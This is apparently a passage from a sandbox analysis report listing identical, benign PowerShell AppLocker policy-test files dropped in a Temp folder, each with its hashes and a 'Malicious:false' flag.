                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgfzgm1n.vg1.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kal0arro.xc1.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lv4vl2sl.kum.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mr2izixd.gff.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mxpqrlnr.dof.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1wkng5b.aht.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmgenqdu.zqv.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojgeda33.22l.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p5gztg32.mve.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pfwdezlk.k3n.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qhhvxgxd.vma.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sx4btrim.vej.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_syavnepj.yr1.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_udys1qym.wu0.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uzqe0x1c.esx.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v3pggqzs.sue.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vv5jvpw5.vef.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvkhteon.c0b.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvuvcf11.xv1.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wacfdn1w.mz1.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wqzcq2tg.tx2.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x1sfdf2v.fhf.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

